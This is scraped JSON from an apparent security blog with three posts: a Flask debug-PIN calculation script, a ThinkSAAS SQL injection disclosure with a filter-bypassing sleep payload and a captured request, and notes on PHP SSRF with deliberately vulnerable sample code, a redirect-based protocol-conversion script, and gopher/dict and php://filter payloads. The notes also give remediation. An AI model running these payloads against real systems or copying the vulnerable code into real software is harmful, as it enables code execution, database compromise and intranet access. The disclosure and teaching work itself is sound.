/proc/sys/kernel/random/boot_id`）#=\u0026gt; xxxxx # p2 = `cat /proc/self/cgroup`.strip().rpartition(b\u0026#34;/\u0026#34;)[2] #=\u0026gt;\tuser.slice EXP Exploitation Script The following script has been tested under py3.\n# encoding:utf-8 import hashlib from itertools import chain # PIN should be 140-625-693 probably_public_bits = [ \u0026#39;root\u0026#39;,# username \u0026#39;flask.app\u0026#39;,# modname \u0026#39;Flask\u0026#39;,# getattr(app, \u0026#39;__name__\u0026#39;, getattr(app.__class__, \u0026#39;__name__\u0026#39;)) \u0026#39;/usr/local/lib/python3.6/site-packages/flask/app.py\u0026#39; # getattr(mod, \u0026#39;__file__\u0026#39;, None), # /usr/local/libpython3.6/site-packages/flask ] private_bits = [ \u0026#39;345053803543\u0026#39;,# str(uuid.getnode()), cat /sys/class/net/eth0/address, must be converted to decimal \u0026#39;05cb8c7b39fe0f70e3ce97e5beab809duser.slice\u0026#39;# pseudocode of get_machine_id() # if Werkzeug is installed AFTER 2020.1.5 : # get_machine_id() = str(p1) + str(p2), while # p1 = (`cat /etc/machine-id` OR `cat /proc/sys/kernel/random/boot_id`) =\u0026gt; xxxxx # p2 = `cat /proc/self/cgroup`.strip().rpartition(b\u0026#34;/\u0026#34;)[2]\t=\u0026gt;\tuser.slice # else: # get_machine_id() =（`cat /proc/self/cgroup` OR `cat /etc/machine-id` OR `cat /proc/sys/kernel/random/boot_id` ） ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode(\u0026#39;utf-8\u0026#39;) h.update(bit) h.update(b\u0026#39;cookiesalt\u0026#39;) cookie_name = \u0026#39;__wzd\u0026#39; + h.hexdigest()[:20] num = None if num is None: h.update(b\u0026#39;pinsalt\u0026#39;) num = (\u0026#39;%09d\u0026#39; % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = \u0026#39;-\u0026#39;.join(num[x:x + group_size].rjust(group_size, \u0026#39;0\u0026#39;) for x in range(0, len(num), group_size)) break else: rv = num print(rv) Completing this article would not have been possible without the help of the articles below — many thanks to those authors!\nrefs https://zhuanlan.zhihu.com/p/32336971 https://xz.aliyun.com/t/2553 https://www.jianshu.com/p/cbca419ba075 The change in Flask debug pin generation brought by the Werkzeug update ","permalink":"https://www.unc.la/en/posts/penetration/qrgqgt/","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/32138231\"\u003eEnabling debug mode in Flask is equivalent to leaving a backdoor for hackers\u003c/a\u003e. This article provides a brief analysis of the security issues that can arise when Flask runs with debug mode enabled in a production network. One of the more severe security issues is that arbitrary Python code can be executed in the interactive Python shell. On this point, in older versions of Flask, no PIN authentication was required to execute code — the harm of this is self-evident.\u003c/p\u003e","title":"Flask Debug-Mode PIN Generation Mechanism: Security Reproduction Notes"},{"content":"Code Audit Notes A feeble injection in the limit parameter app/article/action/api/list.php#L28\nPoC While debugging, you can see that the limit parameter has been carried into the query in full — it only seems feeble because mysqli_query cannot execute multi-statement queries\u0026hellip;\napp\\photo\\action\\admin\\options.php\napp\\topic\\action\\admin\\options.php\nhttp://thinksaas/index.php?app=topic\u0026amp;ts=do\u0026amp;mg=options\u0026amp;ac=admin\nSQL injection in the title parameter of app/topic/action/admin/topic.php PoC GET /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1 Host: thinksaas User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://thinksaas/index.php?app=search\u0026amp;ac=s\u0026amp;kw=keyword Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4sws48s80co44ww8 Upgrade-Insecure-Requests: 1 CVE Request info 1. Intro of this CMS The repo of ThinksaasS is located at https://github.com/thinksaas/ThinkSAAS , quite a common-used CMS.\nSource code of V3.38 could be downloaded at https://www.thinksaas.cn/service/down/ , while passcode of downlaoding is thinksaas9999\nof this Vuln ThinkSAAS before 3.38 has SQL injection via the /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC title parameter, allowing remote attackers to execute arbitrary SQL commands.\n2. Walkthrough Code Review Risky lines are here =\u0026gt;\nhttps://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/app/topic/action/admin/topic.php#L42 https://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/thinksaas/tsApp.php#L146 Due to unproper conjunction of SQL query sentences (1) and invalid filter (2)\n(1) unproper conjunction of SQL query sentences app/topic/action/admin/topic.php#L42\n\u0026lt;?php defined(\u0026#39;IN_TS\u0026#39;) or die(\u0026#39;Access Denied.\u0026#39;); switch($ts){ case \u0026#34;list\u0026#34;: ... $title = urldecode($_GET[\u0026#39;title\u0026#39;]);\t# 1\u0026#39; Notice that $title is urldecoded ... if($title){ $where = \u0026#34;`title` like \u0026#39;%$title%\u0026#39;\u0026#34;;\t# 2\u0026#39; directly conjuncted to $where } $arrTopic = $new[\u0026#39;topic\u0026#39;]-\u0026gt;findAll(\u0026#39;topic\u0026#39;,$where,\u0026#39;addtime desc\u0026#39;,null,$lstart.\u0026#39;,10\u0026#39;);\t# 3\u0026#39; findAll() via $where ... Let\u0026rsquo;s see how findAll() works:\nthinksaas/tsApp.php#L146\n\u0026lt;?php public function findAll($table, $conditions = null, $sort = null, $fields = null, $limit = null) { $where = \u0026#34;\u0026#34;; $fields = empty ( $fields ) ? \u0026#34;*\u0026#34; : $fields; if (is_array ( $conditions )) { $join = array (); foreach ( $conditions as $key =\u0026gt; $condition ) { $condition = $this-\u0026gt;escape ( $condition ); $join [] = \u0026#34;`{$key}` = {$condition}\u0026#34;; } $where = \u0026#34;WHERE \u0026#34; . join ( \u0026#34; AND \u0026#34;, $join ); } else { if (null != $conditions) $where = \u0026#34;WHERE \u0026#34; . $conditions; #### 1\u0026#39;\tdirectly conjuncted to $where } if (null != $sort) { $sort = \u0026#34;ORDER BY {$sort}\u0026#34;; } else { $sort = \u0026#34;\u0026#34;; } $sql = \u0026#34;SELECT {$fields} FROM \u0026#34; . dbprefix . \u0026#34;{$table} {$where} {$sort}\u0026#34;; if (null != $limit) #### 2\u0026#39; conjuncted to $sql $sql = $this-\u0026gt;db-\u0026gt;setlimit ( $sql, $limit ); return $this-\u0026gt;db-\u0026gt;fetch_all_assoc ( $sql ); #### 3\u0026#39;\tbingo! } Till now, $where is partly controlled by us, once injecting a singal quote ' via $title, while how to closen this query sentence is still unknown, cause the filtering of # and --\nHowever, the function of urldecode() helped us, we can craft a double-URLencoded params, like %25%23 \u0026gt;\u0026gt;\u0026gt; %23 \u0026gt;\u0026gt;\u0026gt; # , ( namely %2523 stands for # ) , as it will BYPASS the filter (#) as follows.\nSo we have a vuln of SQLi. Let\u0026rsquo;s see the sanitizing functions.\n(2) invalid filter This CMS have some global functions for sanitizing user-controlled params, in /thinksaas/tsFunction.php#2134 , as its link goes here\n\u0026lt;?php function tsFilter($value) { $value = trim($value); // Define SQL commands and keywords that are not allowed to be submitted $words = array(); $words[] = \u0026#34;add \u0026#34;; $words[] = \u0026#34;and \u0026#34;; $words[] = \u0026#34;count \u0026#34;; $words[] = \u0026#34;order \u0026#34;; $words[] = \u0026#34;table \u0026#34;; $words[] = \u0026#34;by \u0026#34;; $words[] = \u0026#34;create \u0026#34;; $words[] = \u0026#34;delete \u0026#34;; $words[] = \u0026#34;drop \u0026#34;; $words[] = \u0026#34;from \u0026#34;; $words[] = \u0026#34;grant \u0026#34;; $words[] = \u0026#34;insert \u0026#34;; $words[] = \u0026#34;select \u0026#34;; $words[] = \u0026#34;truncate \u0026#34;; $words[] = \u0026#34;update \u0026#34;; $words[] = \u0026#34;use \u0026#34;; $words[] = \u0026#34;--\u0026#34;; $words[] = \u0026#34;#\u0026#34;; $words[] = \u0026#34;group_concat\u0026#34;; $words[] = \u0026#34;column_name\u0026#34;; $words[] = \u0026#34;information_schema.columns\u0026#34;; $words[] = \u0026#34;table_schema\u0026#34;; $words[] = \u0026#34;union \u0026#34;; $words[] = \u0026#34;where \u0026#34;; $words[] = \u0026#34;alert\u0026#34;; $value = strtolower($value); // Convert to lowercase foreach ($words as $word) { if (strstr($value, $word)) { $value = str_replace($word, \u0026#39;\u0026#39;, $value); } } return $value; } Apart from that foreach ($words as $word) { cannot comletely sanitize those evil words, the Blacklists itself is invalid as well. While SELselect ECT 1 could still be used ( as SELselect ECT 1 =\u0026gt; SELECT 1 ).\nAlso, one is abe to use select/**/1 instead of select 1 , in order to bypass the blackword of select .\nAs above, select/**/1/**/from/**/(sleep(1) could be used.\nIn summary, we can craft a special payload ( double-URLencoded + SQL injection ) to trigger SQLi vulns, of course we need login first\u0026hellip;\nPoC \u0026amp; EXPLOIT GET /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1 Host: thinksaas User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://thinksaas/index.php?app=search\u0026amp;ac=s\u0026amp;kw=keyword Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4sws48s80co44ww8 Upgrade-Insecure-Requests: 1 # Exploit Title (vulnerability title): Thinksaas Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php # Google Dork (Google search keywords): [if applicable] # Date (date of discovery): 2020/12/03 # Exploit Author (researcher who found the vulnerability): Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) # Vendor Homepage (vendor homepage): https://github.com/thinksaas/ThinkSAAS, https://www.thinksaas.cn/ # Software Link (download link for the affected application): https://www.thinksaas.cn/service/down/ , downlaod code:thinksaas9999 # Version (affected versions): Thinksaas\u0026lt;=3.38 (REQUIRED) # Tested on (system used for testing): Windows PHP 5.6.9nt \u0026amp; Apache 2.4.39 # CVE (CVE ID) : [if applicable] # POC (proof of concept): GET /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1 Host: thinksaas User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://thinksaas/index.php?app=search\u0026amp;ac=s\u0026amp;kw=keyword Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4sws48s80co44ww8 Upgrade-Insecure-Requests: 1 3. Mitigations After URLdecode , param sanitizing may still be neccessary, a possible demo is as follows:\nif($title){ //$where = \u0026#34;`title` like \u0026#39;%$title%\u0026#39;\u0026#34;;\t$where = \u0026#34;`title` like \u0026#39;%\u0026#34;. $this-\u0026gt;escape($title). \u0026#34;%\u0026#39;\u0026#34;; } ","permalink":"https://www.unc.la/en/posts/penetration/kygq98/","summary":"\u003ch1 id=\"code-audit-notes\"\u003eCode Audit Notes\u003c/h1\u003e\n\u003ch2 id=\"a-feeble-injection-in-the-limit-parameter\"\u003eA feeble injection in the limit parameter\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/app/article/action/api/list.php#L28\"\u003eapp/article/action/api/list.php#L28\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1606998672424-30bc5eb0-3f4f-476c-ae12-eaf44fa6bfcb.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"poc\"\u003ePoC\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1606998796616-845b34be-068e-4738-8e00-e5ca6b26b43d.png\"\u003e\u003c/p\u003e\n\u003cp\u003eWhile debugging, you can see that the \u003ccode\u003elimit\u003c/code\u003e parameter has been carried into the query in full — it only seems feeble because \u003ccode\u003emysqli_query\u003c/code\u003e cannot execute multi-statement queries\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1606998737948-20594727-52f1-4159-9037-38b836a1706c.png\"\u003e\u003c/p\u003e\n\u003cp\u003eapp\\photo\\action\\admin\\options.php\u003c/p\u003e\n\u003cp\u003eapp\\topic\\action\\admin\\options.php\u003c/p\u003e\n\u003cp\u003ehttp://thinksaas/index.php?app=topic\u0026amp;ts=do\u0026amp;mg=options\u0026amp;ac=admin\u003c/p\u003e\n\u003ch2 id=\"sql-injection-in-the-title-parameter-of-apptopicactionadmintopicphp\"\u003eSQL injection in the title parameter of app/topic/action/admin/topic.php\u003c/h2\u003e\n\u003ch3 id=\"poc-1\"\u003ePoC\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eGET\u003c/span\u003e \u003cspan class=\"nn\"\u003e/index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520\u003c/span\u003e \u003cspan class=\"kr\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"m\"\u003e1.1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eHost\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003ethinksaas\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eUser-Agent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003eMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAccept\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003etext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAccept-Language\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003ezh-SG,en-US;q=0.7,en;q=0.3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAccept-Encoding\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003egzip, deflate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eConnection\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003eclose\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eReferer\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003ehttp://thinksaas/index.php?app=search\u0026amp;ac=s\u0026amp;kw=keyword\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eCookie\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003ePHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eUpgrade-Insecure-Requests\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"l\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch1 id=\"cve-request-info\"\u003eCVE Request info\u003c/h1\u003e\n\u003ch1 id=\"1-intro\"\u003e1. Intro\u003c/h1\u003e\n\u003ch2 id=\"of-this-cms\"\u003eof this CMS\u003c/h2\u003e\n\u003cp\u003eThe repo of ThinksaasS is located at \u003ca href=\"https://github.com/thinksaas/ThinkSAAS\"\u003ehttps://github.com/thinksaas/ThinkSAAS\u003c/a\u003e , quite a common-used CMS.\u003c/p\u003e","title":"Thinksaas has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php"},{"content":"From the perspective of a security engineer, this post analyzes the causes of SSRF in PHP and how to fix it. Through experiments on a VPS, it introduces the impact and limitations of SSRF vulnerabilities arising from different causes, and closes with an example of secure coding.\ncURL Configuration Options This section documents the relationship between each cURL configuration option and the resulting type of SSRF vulnerability.\nCURLOPT_HEADER is 0 in the vast majority of cases; otherwise the HTTP response headers are returned along with the body (see image) CURLOPT_NOBODY when enabled, the BODY portion of the HTML is not output; if disabled, there is a response echo. This is the deciding factor for whether the SSRF is a non-echo boolean type CURLOPT_PORT specifies the default connection port. This is the deciding factor for whether the SSRF is port-restricted. Multiple ports: use - for a port range, and commas , to specify multiple ports # Specify multiple ports curl_setopt($curl, CURLOPT_PORT, 8000,9000,8081,1,2,3,4,5) # Specify a port range curl_setopt($curl, CURLOPT_PORT, 8000-9000); CURLOPT_PROTOCOLS restricts the protocols that can be used during transfer. This allows you to leverage the many protocols libcurl was compiled to support; by default all supported protocols are available. This is the **deciding factor for whether the SSRF is protocol-restricted. **An example is curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS | CURLPROTO_FTP);, where multiple protocols are separated by a vertical bar |. Below are some commonly used protocols; for the complete list of protocols, visit https://curl.haxx.se/libcurl/c/CURLOPT_PROTOCOLS.html The available protocol options are: CURLPROTO_HTTP CURLPROTO_HTTPS CURLPROTO_FTP CURLPROTO_FTPS CURLPROTO_SCP CURLPROTO_SFTP CURLPROTO_TELNET CURLPROTO_LDAP CURLPROTO_LDAPS CURLPROTO_DICT CURLPROTO_FILE CURLPROTO_TFTP CURLPROTO_ALL Note that if CURLOPT_PROTOCOLS is configured to allow only the HTTP protocol, it cannot be bypassed via a 302 redirect!\nIn other words, 302 redirects only work for bypassing keyword filtering. See the redirect-based SSRF in example 3 of this post\nCURLOPT_RETURNTRANSFER returns the information fetched by curl_exec as a file stream instead of outputting it directly. ps: some readers claim this option causes SSRF to lose its response echo, but testing shows this is not the case — setting it to 0 or 1 has no effect whatsoever on whether output is produced; that is determined by CURLOPT_NOBODY** ;**in practice, this option is mainly used together with CURLOPT_BINARYTRANSFER) CURLOPT_FOLLOWLOCATION when enabled, the \u0026ldquo;Location: \u0026quot; header returned by the server is followed recursively; CURLOPT_MAXREDIRS limits the number of recursive redirects. This is the deciding factor for whether the SSRF supports redirects. It defaults to False, i.e. redirects are not supported CURLOPT_TIMEOUT sets the maximum number of seconds cURL is allowed to execute. CURLOPT_TIMEOUT_MS\tsets the maximum number of milliseconds cURL is allowed to execute. CURLOPT_CONNECTTIMEOUT the time to wait before initiating a connection; if set to 0, wait indefinitely. CURLOPT_CONNECTTIMEOUT_MS the time to wait when attempting to connect, in milliseconds. If set to 0, wait indefinitely CURLOPT_CUSTOMREQUEST uses a custom request string instead of \u0026ldquo;GET\u0026rdquo; or \u0026ldquo;HEAD\u0026rdquo; for the HTTP request. Common values are \u0026ldquo;GET\u0026rdquo;, \u0026ldquo;POST\u0026rdquo;, \u0026ldquo;CONNECT\u0026rdquo;, etc. Cause 1 — cURL One day, while auditing a homegrown CMS, I came across the PHP code above. It had quite a few curl configuration options, and I suspected an SSRF vulnerability. I happened to want to study SSRF anyway, so I was very interested in the question of which curl configurations lead to SSRF, and that\u0026rsquo;s how this research started\nFor the possible curl configuration options in PHP, see https://www.php.net/manual/zh/curl.constants.php and https://www.runoob.com/php/func-curl_setopt.html curl_version: 7.42.1 【visible in phpinfo or var_dump(curl_version()）】 0x01 Echo-based SSRF Example code\n\u0026lt;?php //curl_base.php highlight_file(__FILE__); $url = $_GET[\u0026#39;url\u0026#39;]; $curl = curl_init($url); /*Configure curl*/ curl_setopt($curl, CURLOPT_TIMEOUT, 10); // Set timeout curl_setopt($curl, CURLOPT_HEADER, 0); // Do not output HTTP headers //curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //Follow redirects //curl_setopt($curl, CURLOPT_NOBODY, 1) //Do not output response content $responseText = curl_exec($curl); /*Print the curl result*/ var_dump(curl_error($curl) );//If an exception occurs during curl execution, enable this to inspect the error echo $responseText; /*Close curl*/ curl_close($curl); ?\u0026gt; **** 0x02 Boolean SSRF Example code\n\u0026lt;?php //curl_blind.php highlight_file(__FILE__); $url = $_GET[\u0026#39;url\u0026#39;]; $curl = curl_init($url); /*Configure curl*/ curl_setopt($curl, CURLOPT_TIMEOUT, 10); // Set timeout curl_setopt($curl, CURLOPT_HEADER, 0); // Do not output HTTP headers //curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //Follow redirects curl_setopt($curl, CURLOPT_NOBODY, 1) ;//Do not output response content $responseText = curl_exec($curl); /*Print the curl result*/ //var_dump(curl_error($curl) );//If an exception occurs during curl execution, enable this to inspect the error echo $responseText; /*Close curl*/ curl_close($curl); ?\u0026gt; This is a bool-type SSRF: the return value is always only True or False.\nTrue , i.e. when there is response content: returns 1\nFalse, i.e. when there is no response content: returns empty\nGo ahead and try it: with the example code above, the file protocol can still be used to read files.\nThis is because the real effect of the CURLOPT_NOBODY option is: to use the**HEAD**** method to request the network resource**, just like the cURL documentation says below\n0x03 Redirect-capable SSRF To demonstrate what a 302 redirect script can do, I restricted cURL to only request URLs starting with http://. The example code is as follows\n\u0026lt;?php //curl_location.php highlight_file(__FILE__); $url = $_GET[\u0026#39;url\u0026#39;]; if (preg_match(\u0026#34;#^http:\\/\\/#\u0026#34;, $url)){ $curl = curl_init($url); /*Configure curl*/ curl_setopt($curl, CURLOPT_TIMEOUT, 10); // Set timeout curl_setopt($curl, CURLOPT_HEADER, 0); // Do not output HTTP headers curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //Follow redirects // curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP|CURLPROTO_HTTPS|CURLPROTO_FILE); //Restrict protocols cURL may use $responseText = curl_exec($curl); /*Print the curl result*/ //var_dump(curl_error($curl) );//If an exception occurs during curl execution, enable this to inspect the error echo $responseText; /*Close curl*/ curl_close($curl); } else { die(\u0026#34;Only allow http://\u0026#34;); } ?\u0026gt; At this point, a 302.php script can be used to achieve \u0026ldquo;protocol conversion\u0026rdquo;. The example script is as follows.\n\u0026lt;?php //302.php error_reporting(0); $p = $_GET[\u0026#34;p\u0026#34;]; $url = $_GET[\u0026#34;url\u0026#34;]; $path = $_GET[\u0026#34;path\u0026#34;] ? $_GET[\u0026#39;path\u0026#39;] : \u0026#39;\u0026#39;; if(isset($url)){ header(\u0026#34;Location: $p://$url/$path\u0026#34;); } else{ highlight_file(__FILE__); } ?\u0026gt; Note: when using the header() function, there must be no content before the \u0026lt;?php tag, otherwise you get the error Warning: Cannot modify header information - headers already sent by ... and the response headers will not be sent properly.\nFinally, after testing, a 302 redirect can achieve HTTP=\u0026gt;DICT and HTTP=\u0026gt;GOPHER, but conversion to the FILE protocol is not supported.\nCause 2 — file_get_contents Let\u0026rsquo;s look at how the official documentation describes this function; it supports reading content in the following forms\n/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\\path\\to\\winfile.ext \\smbserver\\share\\path\\to\\winfile.ext file:///path/to/file.ext And when allow_url_fopen is enabled (enabled by default), the ftp and http protocols are supported\nHere is some example code as well:\n\u0026lt;?php //file_get_contents.php highlight_file(__FILE__); $url = $_GET[\u0026#39;url\u0026#39;];; echo file_get_contents($url); ?\u0026gt; When requesting an intranet redis service, the banner is displayed if error reporting is on\nThe same happens when requesting an intranet SSH service:\nFor some reason, requesting intranet MySQL doesn\u0026rsquo;t work\u0026hellip;\nCompared with curl, file_get_contents feels much more restrained: it supports neither the dict / gopher protocols nor 302 redirects\nIts main use cases are scanning intranet http services, reading local files, and limited intranet service scanning (banner echo when error reporting is enabled). Overall it leans more toward reading files — for example, reading PHP source code like below.\nSpeaking of reading PHP source code, we have to mention something called PHP wrappers: simply put, they use PHP filters to encode the output, and one of the commonly used encodings is base64\nphp://filter/read=convert.base64-encode/resource=index.php The image below shows the result after base64 encoding. It works wonders when response-echo keywords are being filtered\nCause 3 — fopen/fsockopen fopen Example code\n\u0026lt;?php //fopen.php highlight_file(__FILE__); $file = fopen($_GET[\u0026#39;url\u0026#39;], \u0026#39;r\u0026#39;); echo fread($file, 4096);//Limit read size to 4096 fclose($file); ?\u0026gt; It supports the file:// protocol and, by default, can reach the external network, so it is perfectly usable for probing intranet web services.\nUnfortunately: it does not support POST requests, nor the DICT or GOPHER protocols. Of course, combined with an upload point, phar deserialization is still very handy.\nfsockopen \u0026lt;?php //fsockopen.php highlight_file(__FILE__); $host = $_GET[host]; $port = $_GET[port]; $fp = fsockopen($host, $port, $errno, $errstr, $timeout = 10); echo fgets($fp, 4096); fclose($fp); ?\u0026gt; Nothing to write home about\u0026hellip;\nCause 4 — LDAP connections SSRF via CRLF injection, See: https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/\n# nc -lvp 9000 listening on [::]:9000 ... connect to [::ffff:127.0.0.1]:9000 from localhost:39250 ([::ffff:127.0.0.1]:39250) 0`1 2 3 4 5 6--- Library Tested In python-ldap Python 2.7 com.sun.jndi.ldap JDK 11 php-ldap PHP 7 net-ldap Ruby 2.5.2 ——- ——– If you are an attacker and find an LDAP configuration page, check whether the username or password fields allow CRLF characters. Typically, initial testing will involve sending requests to a listener you control to verify that these characters are not filtered out. If you are a defender, make sure your application filters CRLF characters (i.e. %0D%0A) Protocols supported by common services Service type Supported protocols Example command Response content Redis dict dict://redis:6379/ `-ERR Syntax error, try CLIENT (LIST http http://redis:6379/ -ERR wrong number of arguments for 'get' command string(0) \u0026quot;\u0026quot; 1 gopher gopher://redis:6379/_info Returns the output of the info command executed on redis SSH dicthttpgopher http://172.17.0.1:22\u0026hellip; SSH-2.0-OpenSSH_7.4 Protocol mismatch. MySQL dicthttpgophertelnet \u0026lt;font style=\u0026quot;color:#262626;\u0026quot;\u0026gt;dict://mysql:3306\u0026lt;/font\u0026gt;\u0026hellip;` J ``**5.7.32**``q@Y60l����W{_lfD.5``**mysql_native_password!��#08S01Got packets out of order**``1 HTTP dicthttp omitted omitted Notes:\nUsing the dict protocol, you can execute commands directly on redis; for example, dict://redis:6379/info executes the info command Remediation recommendations Different requirements call for different configuration recommendations, but overall the approach is a 【whitelist】-based one.\nIf the goal is to prevent SSRF from reaching the intranet, you can completely eliminate SSRF through restricting protocols + ports + a whitelist of address ranges. For example, the example code below is relatively safe (whitelisted addresses + no HTTP header output + HTTP(S)-only protocols).\n\u0026lt;?php $url = $_GET[\u0026#39;url\u0026#39;]; /**Check the url against a whitelist; die if it doesn\u0026#39;t match. * Note that in PHP, the double-equals \u0026#39;==\u0026#39; and * in_array() under default settings perform type juggling (weak typing), leading to loose comparisons * tip: in PHP, when a number is compared with a string, the string is converted to a number **/ $whilelists = array(\u0026#34;http://weather.com.cn\u0026#34;, \u0026#34;http://baidu.com\u0026#34;);//Whitelist $flag = in_array($url, $whilelists, TRUE) //The third parameter enables strict comparison, which first inspects the type if($flag){//If the url is in the whitelist, proceed with the configuration $curl = curl_init($url); curl_setopt($curl, CURLOPT_HEADER, 0); // Do not output HTTP response headers curl_setopt($curl, CURLOPT_PROTOCOLS, 